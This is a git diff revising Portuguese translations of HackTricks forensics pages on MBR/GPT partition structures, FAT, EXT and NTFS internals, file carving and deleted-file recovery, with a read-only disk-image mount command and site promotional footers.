-Do **byte 440 ao 443** do MBR, você pode encontrar a **Assinatura do Disco do Windows** (se o Windows for usado). A letra da unidade lógica do disco rígido depende da Assinatura do Disco do Windows. Alterar esta assinatura pode impedir que o Windows seja inicializado (ferramenta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
+Dos **bytes 440 ao 443** do MBR, você pode encontrar a **Assinatura de Disco do Windows** (se o Windows for usado). A letra de unidade lógica do disco rígido depende da Assinatura de Disco do Windows. Alterar essa assinatura pode impedir que o Windows inicie (ferramenta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>)
**Formato**
-| Offset | Comprimento | Item |
-| ----------- | ----------- | ----------------------- |
-| 0 (0x00) | 446(0x1BE) | Código de inicialização |
-| 446 (0x1BE) | 16 (0x10) | Primeira Partição |
-| 462 (0x1CE) | 16 (0x10) | Segunda Partição |
-| 478 (0x1DE) | 16 (0x10) | Terceira Partição |
-| 494 (0x1EE) | 16 (0x10) | Quarta Partição |
-| 510 (0x1FE) | 2 (0x2) | Assinatura 0x55 0xAA |
+| Offset | Comprimento | Item |
+| ----------- | ----------- | ------------------- |
+| 0 (0x00) | 446(0x1BE) | Código de boot |
+| 446 (0x1BE) | 16 (0x10) | Primeira Partição |
+| 462 (0x1CE) | 16 (0x10) | Segunda Partição |
+| 478 (0x1DE) | 16 (0x10) | Terceira Partição |
+| 494 (0x1EE) | 16 (0x10) | Quarta Partição |
+| 510 (0x1FE) | 2 (0x2) | Assinatura 0x55 0xAA|
**Formato do Registro de Partição**
-| Offset | Comprimento | Item |
-| --------- | ----------- | -------------------------------------------------------------- |
-| 0 (0x00) | 1 (0x01) | Flag ativa (0x80 = inicializável) |
-| 1 (0x01) | 1 (0x01) | Cabeça de início |
-| 2 (0x02) | 1 (0x01) | Setor de início (bits 0-5); bits superiores do cilindro (6- 7) |
-| 3 (0x03) | 1 (0x01) | Bits mais baixos do cilindro de início |
-| 4 (0x04) | 1 (0x01) | Código do tipo de partição (0x83 = Linux) |
-| 5 (0x05) | 1 (0x01) | Cabeça final |
-| 6 (0x06) | 1 (0x01) | Setor final (bits 0-5); bits superiores do cilindro (6- 7) |
-| 7 (0x07) | 1 (0x01) | Bits mais baixos do cilindro final |
-| 8 (0x08) | 4 (0x04) | Setores anteriores à partição (pouco significativo) |
-| 12 (0x0C) | 4 (0x04) | Setores na partição |
+| Offset | Comprimento | Item |
+| --------- | ----------- | ------------------------------------------------------ |
+| 0 (0x00) | 1 (0x01) | Bandeira ativa (0x80 = bootável) |
+| 1 (0x01) | 1 (0x01) | Cabeça inicial |
+| 2 (0x02) | 1 (0x01) | Setor inicial (bits 0-5); bits superiores do cilindro (6-7) |
+| 3 (0x03) | 1 (0x01) | Cilindro inicial 8 bits inferiores |
+| 4 (0x04) | 1 (0x01) | Código do tipo de partição (0x83 = Linux) |
+| 5 (0x05) | 1 (0x01) | Cabeça final |
+| 6 (0x06) | 1 (0x01) | Setor final (bits 0-5); bits superiores do cilindro (6-7) |
+| 7 (0x07) | 1 (0x01) | Cilindro final 8 bits inferiores |
+| 8 (0x08) | 4 (0x04) | Setores precedendo a partição (little endian) |
+| 12 (0x0C) | 4 (0x04) | Setores na partição |
-Para montar um MBR no Linux, você primeiro precisa obter o deslocamento de início (você pode usar `fdisk` e o comando `p`)
+Para montar um MBR no Linux, você primeiro precisa obter o offset inicial (você pode usar `fdisk` e o comando `p`)
-![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png>)
+![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
E então use o seguinte código
-
```bash
#Mount MBR in Linux
mount -o ro,loop,offset=
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
+**LBA (Endereçamento de blocos lógicos)**
-**LBA (Endereçamento lógico de blocos)**
+**Endereçamento de blocos lógicos** (**LBA**) é um esquema comum usado para **especificar a localização de blocos** de dados armazenados em dispositivos de armazenamento de computadores, geralmente sistemas de armazenamento secundário como discos rígidos. LBA é um esquema de endereçamento linear particularmente simples; **blocos são localizados por um índice inteiro**, com o primeiro bloco sendo LBA 0, o segundo LBA 1, e assim por diante.
-O **Endereçamento lógico de blocos** (**LBA**) é um esquema comum usado para **especificar a localização de blocos** de dados armazenados em dispositivos de armazenamento de computador, geralmente sistemas de armazenamento secundário, como unidades de disco rígido. O LBA é um esquema de endereçamento linear particularmente simples; **os blocos são localizados por um índice inteiro**, sendo o primeiro bloco LBA 0, o segundo LBA 1 e assim por diante.
+### GPT (Tabela de Partição GUID)
-#### GPT (Tabela de partição GUID)
+É chamada Tabela de Partição GUID porque cada partição no seu disco tem um **identificador globalmente único**.
-É chamado de Tabela de Partição GUID porque cada partição no seu disco tem um **identificador globalmente único**.
+Assim como MBR, começa no **setor 0**. O MBR ocupa 32bits enquanto **GPT** usa **64bits**.\
+GPT **permite até 128 partições** no Windows e até **9.4ZB**.\
+Além disso, partições podem ter um nome Unicode de 36 caracteres.
-Assim como o MBR, ele começa no **setor 0**. O MBR ocupa 32 bits enquanto o **GPT** usa **64 bits**.\
-O GPT **permite até 128 partições** no Windows e até **9,4ZB**.\
-Além disso, as partições podem ter um nome Unicode de 36 caracteres.
+Em um disco MBR, os dados de particionamento e boot são armazenados em um único lugar. Se esses dados forem sobrescritos ou corrompidos, você terá problemas. Em contraste, **GPT armazena múltiplas cópias desses dados pelo disco**, então é muito mais robusto e pode se recuperar se os dados forem corrompidos.
-Em um disco MBR, o particionamento e os dados de inicialização são armazenados em um só lugar. Se esses dados forem sobrescritos ou corrompidos, você terá problemas. Em contraste, o **GPT armazena várias cópias desses dados em todo o disco**, portanto, é muito mais robusto e pode se recuperar se os dados estiverem corrompidos.
+GPT também armazena valores de **verificação de redundância cíclica (CRC)** para verificar se seus dados estão intactos. Se os dados estiverem corrompidos, GPT pode notar o problema e **tentar recuperar os dados danificados** de outro local no disco.
-O GPT também armazena valores de **verificação de redundância cíclica (CRC)** para verificar se seus dados estão intactos. Se os dados estiverem corrompidos, o GPT pode detectar o problema e **tentar recuperar os dados danificados** de outra localização no disco.
+**MBR Protetor (LBA0)**
-**MBR protetor (LBA0)**
-
-Para compatibilidade retroativa limitada, o espaço do MBR legado ainda é reservado na especificação do GPT, mas agora é usado de uma **maneira que impede que utilitários de disco baseados em MBR reconheçam erroneamente e possivelmente sobrescrevam discos GPT**. Isso é referido como um MBR protetor.
+Para compatibilidade limitada com versões anteriores, o espaço do MBR legado ainda é reservado na especificação GPT, mas agora é usado de **uma maneira que impede que utilitários de disco baseados em MBR reconheçam erroneamente e possivelmente sobrescrevam discos GPT**. Isso é referido como um MBR protetor.
![](<../../../.gitbook/assets/image (491).png>)
-**MBR híbrido (LBA 0 + GPT)**
+**MBR Híbrido (LBA 0 + GPT)**
-Em sistemas operacionais que suportam **inicialização baseada em GPT por meio de serviços BIOS** em vez de EFI, o primeiro setor também pode ser usado para armazenar o primeiro estágio do código do **carregador de inicialização**, mas **modificado** para reconhecer **partições GPT**. O carregador de inicialização no MBR não deve assumir um tamanho de setor de 512 bytes.
+Em sistemas operacionais que suportam **boot baseado em GPT através de serviços BIOS** em vez de EFI, o primeiro setor também pode ser usado para armazenar a primeira etapa do **código do bootloader**, mas **modificado** para reconhecer **partições GPT**. O bootloader no MBR não deve assumir um tamanho de setor de 512 bytes.
-**Cabeçalho da tabela de partição (LBA 1)**
+**Cabeçalho da tabela de partições (LBA 1)**
-O cabeçalho da tabela de partição define os blocos utilizáveis no disco. Ele também define o número e o tamanho das entradas de partição que compõem a tabela de partição (deslocamentos 80 e 84 na tabela).
+O cabeçalho da tabela de partições define os blocos utilizáveis no disco. Ele também define o número e tamanho das entradas de partição que compõem a tabela de partições (deslocamentos 80 e 84 na tabela).
-| Deslocamento | Comprimento | Conteúdo |
-| ------------ | ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| 0 (0x00) | 8 bytes | Assinatura ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ou 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)em máquinas little-endian) |
-| 8 (0x08) | 4 bytes | Revisão 1.0 (00h 00h 01h 00h) para UEFI 2.8 |
-| 12 (0x0C) | 4 bytes | Tamanho do cabeçalho em little-endian (em bytes, geralmente 5Ch 00h 00h 00h ou 92 bytes) |
-| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) do cabeçalho (deslocamento +0 até o tamanho do cabeçalho) em little-endian, com este campo zerado durante o cálculo |
+| Deslocamento | Comprimento | Conteúdo |
+| ------------ | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 0 (0x00) | 8 bytes | Assinatura ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ou 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) em máquinas little-endian) |
+| 8 (0x08) | 4 bytes | Revisão 1.0 (00h 00h 01h 00h) para UEFI 2.8 |
+| 12 (0x0C) | 4 bytes | Tamanho do cabeçalho em little endian (em bytes, geralmente 5Ch 00h 00h 00h ou 92 bytes) |
+| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) do cabeçalho (deslocamento +0 até o tamanho do cabeçalho) em little endian, com este campo zerado durante o cálculo |
| 20 (0x14) | 4 bytes | Reservado; deve ser zero |
-| 24 (0x18) | 8 bytes | LBA atual (localização desta cópia do cabeçalho) |
-| 32 (0x20) | 8 bytes | LBA de backup (localização da outra cópia do cabeçalho) |
-| 40 (0x28) | 8 bytes | Primeiro LBA utilizável para partições (último LBA da tabela de partição primária + 1) |
-| 48 (0x30) | 8 bytes | Último LBA utilizável (primeiro LBA da tabela de partição secundária - 1) |
-| 56 (0x38) | 16 bytes | GUID do disco em endian misto |
-| 72 (0x48) | 8 bytes | LBA de início de uma matriz de entradas de partição (sempre 2 na cópia primária) |
-| 80 (0x50) | 4 bytes | Número de entradas de partição na matriz |
-| 84 (0x54) | 4 bytes | Tamanho de uma única entrada de partição (geralmente 80h ou 128) |
-| 88 (0x58) | 4 bytes | CRC32 da matriz de entradas de partição em little-endian |
-| 92 (0x5C) | \* | Reservado; deve ser zero para o restante do bloco (420 bytes para um tamanho de setor de 512 bytes; mas pode ser mais com tamanhos de setor maiores) |
+| 24 (0x18) | 8 bytes | LBA atual (localização desta cópia do cabeçalho) |
+| 32 (0x20) | 8 bytes | LBA de backup (localização da outra cópia do cabeçalho) |
+| 40 (0x28) | 8 bytes | Primeiro LBA utilizável para partições (último LBA da tabela de partição primária + 1) |
+| 48 (0x30) | 8 bytes | Último LBA utilizável (primeiro LBA da tabela de partição secundária − 1) |
+| 56 (0x38) | 16 bytes | GUID do disco em mixed endian |
+| 72 (0x48) | 8 bytes | LBA inicial de um array de entradas de partição (sempre 2 na cópia primária) |
+| 80 (0x50) | 4 bytes | Número de entradas de partição no array |
+| 84 (0x54) | 4 bytes | Tamanho de uma única entrada de partição (geralmente 80h ou 128) |
+| 88 (0x58) | 4 bytes | CRC32 do array de entradas de partição em little endian |
+| 92 (0x5C) | \* | Reservado; deve ser zeros para o resto do bloco (420 bytes para um tamanho de setor de 512 bytes; mas pode ser mais com tamanhos de setor maiores) |
-\*\*Entradas de
+**Entradas de partição (LBA 2–33)**
-#### **Escultura de Arquivos**
+| Formato de entrada de partição GUID | | |
+| ----------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
+| Deslocamento | Comprimento | Conteúdo |
+| 0 (0x00) | 16 bytes | [GUID do tipo de partição](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mixed endian) |
+| 16 (0x10) | 16 bytes | GUID único da partição (mixed endian) |
+| 32 (0x20) | 8 bytes | Primeiro LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
+| 40 (0x28) | 8 bytes | Último LBA (inclusivo, geralmente ímpar) |
+| 48 (0x30) | 8 bytes | Flags de atributos (por exemplo, bit 60 denota somente leitura) |
+| 56 (0x38) | 72 bytes | Nome da partição (36 unidades de código [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE) |
-A **escultura de arquivos** é uma técnica que tenta **encontrar arquivos no volume de dados**. Existem três maneiras principais pelas quais ferramentas como essa funcionam: **com base nos cabeçalhos e rodapés dos tipos de arquivo**, com base nas **estruturas** dos tipos de arquivo e com base no **conteúdo** em si.
+**Tipos de Partições**
-Observe que essa técnica **não funciona para recuperar arquivos fragmentados**. Se um arquivo **não estiver armazenado em setores contíguos**, essa técnica não poderá encontrá-lo ou pelo menos parte dele.
+![](<../../../.gitbook/assets/image (492).png>)
-Existem várias ferramentas que você pode usar para a escultura de arquivos, indicando os tipos de arquivo que deseja pesquisar.
+Mais tipos de partições em [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
+
+### Inspeção
+
+Após montar a imagem forense com [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), você pode inspecionar o primeiro setor usando a ferramenta do Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na imagem a seguir, um **MBR** foi detectado no **setor 0** e interpretado:
+
+![](<../../../.gitbook/assets/image (494).png>)
+
+Se fosse uma **tabela GPT em vez de um MBR**, deveria aparecer a assinatura _EFI PART_ no **setor 1** (que na imagem anterior está vazio).
+
+## Sistemas de Arquivos
+
+### Lista de sistemas de arquivos do Windows
+
+* **FAT12/16**: MSDOS, WIN95/98/NT/200
+* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
+* **ExFAT**: 2008/2012/2016/VISTA/7/8/10
+* **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
+* **ReFS**: 2012/2016
+
+### FAT
+
+O sistema de arquivos **FAT (File Allocation Table)** é nomeado pelo seu método de organização, a tabela de alocação de arquivos, que reside no início do volume. Para proteger o volume, **duas cópias** da tabela são mantidas, caso uma seja danificada. Além disso, as tabelas de alocação de arquivos e a pasta raiz devem ser armazenadas em uma **localização fixa** para que os arquivos necessários para iniciar o sistema possam ser localizados corretamente.
+
+![](<../../../.gitbook/assets/image (495).png>)
+
+A unidade mínima de espaço usada por este sistema de arquivos é um **cluster, tipicamente 512B** (que é composto por um número de setores).
+
+O anterior **FAT12** tinha **endereços de cluster para valores de 12 bits** com até **4078** **clusters**; permitia até 4084 clusters com UNIX. O mais eficiente **FAT16** aumentou para **endereços de cluster de 16 bits** permitindo até **65,517 clusters** por volume. FAT32 usa endereço de cluster de 32 bits permitindo até **268,435,456 clusters** por volume
+
+O **tamanho máximo de arquivo permitido pelo FAT é 4GB** (menos um byte) porque o sistema de arquivos usa um campo de 32 bits para armazenar o tamanho do arquivo em bytes, e 2^32 bytes = 4 GiB. Isso acontece para FAT12, FAT16 e FAT32.
+
+O **diretório raiz** ocupa uma **posição específica** tanto para FAT12 quanto FAT16 (em FAT32 ocupa uma posição como qualquer outra pasta). Cada entrada de arquivo/pasta contém estas informações:
+
+* Nome do arquivo/pasta (máximo de 8 caracteres)
+* Atributos
+* Data de criação
+* Data de modificação
+* Data do último acesso
+* Endereço da tabela FAT onde começa o primeiro cluster do arquivo
+* Tamanho
+
+Quando um arquivo é "excluído" usando um sistema de arquivos FAT, a entrada do diretório permanece quase **inalterada** exceto pelo **primeiro caractere do nome do arquivo** (modificado para 0xE5), preservando a maior parte do nome do arquivo "excluído", junto com seu carimbo de data/hora, comprimento do arquivo e — mais importante — sua localização física no disco. A lista de clusters de disco ocupados pelo arquivo será, no entanto, apagada da Tabela de Alocação de Arquivos, marcando aqueles setores disponíveis para uso por outros arquivos criados ou modificados posteriormente. No caso do FAT32, há adicionalmente um campo apagado responsável pelos 16 bits superiores do valor do cluster de início do arquivo.
+
+### **NTFS**
+
+{% content-ref url="ntfs.md" %}
+[ntfs.md](ntfs.md)
+{% endcontent-ref %}
+
+### EXT
+
+**Ext2** é o sistema de arquivos mais comum para partições **sem journaling** (**partições que não mudam muito**) como a partição de boot. **Ext3/4** são **journaling** e são usados geralmente para as **demais partições**.
+
+{% content-ref url="ext.md" %}
+[ext.md](ext.md)
+{% endcontent-ref %}
+
+## **Metadados**
+
+Alguns arquivos contêm metadados. Essas informações são sobre o conteúdo do arquivo, o que às vezes pode ser interessante para um analista, pois dependendo do tipo de arquivo, pode ter informações como:
+
+* Título
+* Versão do MS Office usada
+* Autor
+* Datas de criação e última modificação
+* Modelo da câmera
+* Coordenadas GPS
+* Informações da imagem
+
+Você pode usar ferramentas como [**exiftool**](https://exiftool.org) e [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obter os metadados de um arquivo.
+
+## **Recuperação de Arquivos Excluídos**
+
+### Arquivos Excluídos Registrados
+
+Como foi visto antes, há vários lugares onde o arquivo ainda está salvo depois de ser "excluído". Isso ocorre porque geralmente a exclusão de um arquivo de um sistema de arquivos apenas o marca como excluído, mas os dados não são tocados. Então, é possível inspecionar os registros dos arquivos (como o MFT) e encontrar os arquivos excluídos.
+
+Além disso, o sistema operacional geralmente salva muitas informações sobre mudanças no sistema de arquivos e backups, então é possível tentar usá-los para recuperar o arquivo ou o máximo de informações possível.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
-#### Escultura de Fluxo de Dados
+### **File Carving**
-A Escultura de Fluxo de Dados é semelhante à Escultura de Arquivos, mas **em vez de procurar arquivos completos, procura fragmentos interessantes** de informações. Por exemplo, em vez de procurar um arquivo completo contendo URLs registrados, essa técnica procurará URLs.
+**File carving** é uma técnica que tenta **encontrar arquivos no volume de dados**. Existem 3 maneiras principais de ferramentas como essa funcionarem: **Baseadas em cabeçalhos e rodapés de tipos de arquivos**, baseadas em **estruturas de tipos de arquivos** e baseadas no **conteúdo** em si.
+
+Note que essa técnica **não funciona para recuperar arquivos fragmentados**. Se um arquivo **não estiver armazenado em setores contíguos**, então essa técnica não será capaz de encontrá-lo ou pelo menos parte dele.
+
+Existem várias ferramentas que você pode usar para file Carving indicando os tipos de arquivos que deseja procurar
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
-#### Exclusão Segura
+### Carving de Fluxo de Dados
-Obviamente, existem maneiras de **"excluir" arquivos com segurança e parte dos logs sobre eles**. Por exemplo, é possível **sobrescrever o conteúdo** de um arquivo com dados inúteis várias vezes e, em seguida, **remover** os **logs** do **$MFT** e **$LOGFILE** sobre o arquivo e **remover as cópias de sombra do volume**. Você pode notar que, mesmo realizando essa ação, pode haver **outras partes em que a existência do arquivo ainda é registrada**, e isso é verdadeiro e parte do trabalho do profissional de forense é encontrá-las.
+Carving de Fluxo de Dados é semelhante ao File Carving, mas **em vez de procurar por arquivos completos, procura por fragmentos de informação interessantes**.\
+Por exemplo, em vez de procurar por um arquivo completo contendo URLs registradas, essa técnica procurará por URLs.
-### Referências
+{% content-ref url="file-data-carving-recovery-tools.md" %}
+[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
+{% endcontent-ref %}
+
+### Exclusão Segura
+
+Obviamente, existem maneiras de **excluir "seguramente" arquivos e partes dos registros sobre eles**. Por exemplo, é possível **sobrescrever o conteúdo** de um arquivo com dados inúteis várias vezes, e então **remover** os **registros** do **$MFT** e **$LOGFILE** sobre o arquivo, e **remover as Cópias de Sombra do Volume**.\
+Você pode notar que mesmo realizando essa ação ainda pode haver **outras partes onde a existência do arquivo ainda está registrada**, e isso é verdade e parte do trabalho do profissional de forense é encontrá-las.
+
+## Referências
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
@@ -142,12 +256,12 @@ Obviamente, existem maneiras de **"excluir" arquivos com segurança e parte dos
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras maneiras de apoiar o HackTricks:
-
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Obtenha o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospol
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md
index ce89f2efc..ae57bca71 100644
--- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md
+++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md
@@ -4,23 +4,25 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## **NTFS**
-**NTFS** (**New Technology File System**) é um sistema de arquivos de registro proprietário desenvolvido pela Microsoft.
+**NTFS** (**New Technology File System**) é um sistema de arquivos com journaling proprietário desenvolvido pela Microsoft.
O cluster é a menor unidade de tamanho no NTFS e o tamanho do cluster depende do tamanho de uma partição.
-| Tamanho da partição | Setores por cluster | Tamanho do cluster |
+| Tamanho da partição | Setores por cluster | Tamanho do cluster |
| ------------------------ | ------------------- | ------------ |
| 512MB ou menos | 1 | 512 bytes |
| 513MB-1024MB (1GB) | 2 | 1KB |
@@ -28,94 +30,153 @@ O cluster é a menor unidade de tamanho no NTFS e o tamanho do cluster depende d
| 2049MB-4096MB (4GB) | 8 | 4KB |
| 4097MB-8192MB (8GB) | 16 | 8KB |
| 8193MB-16,384MB (16GB) | 32 | 16KB |
-| 16,385MB-32,768MB (
-### Timestamps NTFS
+| 16,385MB-32,768MB (32GB) | 64 | 32KB |
+| Maior que 32,768MB | 128 | 64KB |
+
+### **Espaço Residual**
+
+Como a **menor** unidade de tamanho do NTFS é um **cluster**. Cada arquivo estará ocupando vários clusters completos. Então, é altamente provável que **cada arquivo ocupe mais espaço do que o necessário**. Esses **espaços não utilizados** **reservados** por um arquivo são chamados de **espaço residual** e as pessoas podem tirar vantagem dessa área para **esconder** **informações**.
+
+![](<../../../.gitbook/assets/image (498).png>)
+
+### **Setor de boot do NTFS**
+
+Quando você formata um volume NTFS, o programa de formatação aloca os primeiros 16 setores para o arquivo de metadados de Boot. O primeiro setor é um setor de boot com um código de "bootstrap" e os 15 setores seguintes são o IPL (Initial Program Loader) do setor de boot. Para aumentar a confiabilidade do sistema de arquivos, o último setor de uma partição NTFS contém uma cópia de reserva do setor de boot.
+
+### **Tabela de Arquivos Mestre (MFT)**
+
+O sistema de arquivos NTFS contém um arquivo chamado Tabela de Arquivos Mestre (MFT). Há pelo menos **uma entrada na MFT para cada arquivo em um volume do sistema de arquivos NTFS**, incluindo a própria MFT. Todas as informações sobre um arquivo, incluindo seu **tamanho, carimbos de data e hora, permissões e conteúdo de dados**, são armazenadas ou em entradas da MFT ou em espaço fora da MFT que é descrito por entradas da MFT.
+
+À medida que **arquivos são adicionados** a um volume do sistema de arquivos NTFS, mais entradas são adicionadas à MFT e a **MFT aumenta de tamanho**. Quando **arquivos** são **deletados** de um volume do sistema de arquivos NTFS, suas **entradas na MFT são marcadas como livres** e podem ser reutilizadas. No entanto, o espaço em disco que foi alocado para essas entradas não é realocado, e o tamanho da MFT não diminui.
+
+O sistema de arquivos NTFS **reserva espaço para a MFT para manter a MFT o mais contígua possível** à medida que cresce. O espaço reservado pelo sistema de arquivos NTFS para a MFT em cada volume é chamado de **zona da MFT**. Espaço para arquivos e diretórios também é alocado a partir deste espaço, mas somente depois que todo o espaço do volume fora da zona da MFT tenha sido alocado.
+
+Dependendo do tamanho médio do arquivo e de outras variáveis, **ou a zona reservada da MFT ou o espaço não reservado no disco podem ser alocados primeiro à medida que o disco se enche até a capacidade**. Volumes com um pequeno número de arquivos relativamente grandes alocarão o espaço não reservado primeiro, enquanto volumes com um grande número de arquivos relativamente pequenos alocarão a zona da MFT primeiro. Em ambos os casos, a fragmentação da MFT começa a ocorrer quando uma região ou outra fica totalmente alocada. Se o espaço não reservado estiver completamente alocado, o espaço para arquivos e diretórios do usuário será alocado a partir da zona da MFT. Se a zona da MFT estiver completamente alocada, o espaço para novas entradas da MFT será alocado a partir do espaço não reservado.
+
+Os sistemas de arquivos NTFS também geram um **$MFTMirror**. Esta é uma **cópia** das **primeiras 4 entradas** da MFT: $MFT, $MFT Mirror, $Log, $Volume.
+
+O NTFS reserva os primeiros 16 registros da tabela para informações especiais:
+
+| Arquivo do Sistema | Nome do Arquivo | Registro MFT | Propósito do Arquivo |
+| --------------------- | --------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Tabela de arquivos mestre | $Mft | 0 | Contém um registro de arquivo base para cada arquivo e pasta em um volume NTFS. Se as informações de alocação para um arquivo ou pasta forem muito grandes para caber em um único registro, outros registros de arquivos são alocados também. |
+| Tabela de arquivos mestre 2 | $MftMirr | 1 | Uma imagem duplicada dos primeiros quatro registros da MFT. Este arquivo garante acesso à MFT em caso de falha de um único setor. |
+| Arquivo de log | $LogFile | 2 | Contém uma lista de etapas de transação usadas para recuperabilidade do NTFS. O tamanho do arquivo de log depende do tamanho do volume e pode ser tão grande quanto 4 MB. É usado pelo Windows NT/2000 para restaurar a consistência do NTFS após uma falha do sistema. |
